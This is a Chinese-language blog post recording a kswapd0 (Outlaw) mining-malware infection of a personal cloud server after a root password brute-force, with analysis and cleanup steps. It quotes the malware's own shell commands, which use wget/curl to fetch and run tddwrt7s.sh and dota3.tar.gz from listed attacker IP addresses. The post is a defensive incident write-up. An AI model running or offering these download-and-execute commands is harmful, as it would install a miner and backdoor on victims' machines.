kswapd0挖矿病毒攻击记录
kswapd0挖矿病毒攻击记录
一、起因与病毒分析
1、起因
最近内网穿透服务以及自建的博客一直掉线,重启服务也不行,用 top 查看发现1个kswapd0进程占用了一整个核(机器是2C4G),遂查刚开始以为是使用swap分区与内存换页操作交换数据造成的,但是清理了缓存仍无果,最终发现被挖矿木马攻击了。
2、阿里云告警
登陆阿里云控制台,也告警了阿里云异地登陆了,云安全中心显示凭证窃取,把我root密码爆破了
2.1 恶意脚本代码执行1
1 | sh -c ./tddwrt7s.sh "http://167.172.213.233/dota3.tar.gz" "http://5.161.227.142/dota3.tar.gz" "http://216.70.68.24/dota3.tar.gz" "http://104.131.132.54/dota3.tar.gz" "http://172.104.46.33/dota3.tar.gz" "http://37.139.10.109/dota3.tar.gz" "http://46.101.132.59/dota3.tar.gz" >.out 2>&1 3>&1 |
2.2 恶意脚本代码执行2
1 | sh -c wget -q http://161.35.236.24/tddwrt7s.sh || curl -s -O -f http://161.35.236.24/tddwrt7s.sh 2>&1 3>&1 |
2.3恶意脚本代码执行3
2.4 恶意脚本代码执行4
1 | /root/.configrc5/a/kswapd0 |
3、病毒简单分析
3.1 病毒的初始化
tddwrt7s.sh
脚本内容,脚本主要是下载dota3的病毒文件,并运行初始化
1 |
|
可以发现首先是运行了/tmp/.X2y1-unix/.rsync/initall
脚本,打开发现进行了shell混淆,最后eval命令会执行其后的参数作为Shell命令
1 | z=" |
我们首先进行解密,利用bash的调试模式即可bash -x xxx.sh
,注意这是追踪模式,命令还是会运行,这里主要就是病毒的初始化运行,将一些服务暂停,缓存文件进行删除。后面就是几个脚本的定时执行,加入公钥,修改定时任务,开始挖矿
3.2 病毒本体执行
首先看了一下.ssh,把我的.ssh删除了,加入了它的公钥。然后看一下定时任务,哦吼,定时任务被修改了
1 | crontab -l |
从定时任务可以看出,主要是两个文件目录,一个是/root/.configrc5
,还有一个是/tmp/.X2y1-unix
(都是隐藏目录,很狡猾),注意还有一个/tmp/up.txt
文件,这就是被爆破的root账号密码
1 | # /root/.configrc5目录结构,病毒所在目录 |
然后就是a.kswapd0和c.blitiz64 两个执行程序,执行程序加入了混淆加密。b.run 是一段perl脚本,可以base64解密。具体的文件代码可以参考,有兴趣的可以研究一下。下载地址
4、总结
Outlaw病毒通过SSH攻击,访问目标系统并下载带有shell脚本、挖矿木马、后门木马的TAR压缩包文件dota3.tar.gz。解压后的文件目录可以看到,根目录rsync下存放初始化脚本,a目录下存放shellbot后门,b目录下存放挖矿木马,c目录下存放SSH攻击程序。
1 | # 常用的日志分析技巧 |
二、ubuntu自救指南
1、病毒清理
1、top + kill -9 首先停止可疑进程
2、清理定时任务crontab -e
3、删除相关后门ssh key内容,vim /root/.ssh/authorized_keys
4、删除/tmp目录下缓存文件(不同病毒可能不一样),rm -rf .X2y1-unix/
5、删除病毒目录和文件,rm -rf /root/.configrc5
6、(其他暂时没发现后门,不过我发现病毒给的停止删除命令挺好使的)
2、如何防御
1、修改我们的账号密码,加强复杂度,不要使用口令
2、公有云添加白名单策略,业务端口只允许公司出口IP访问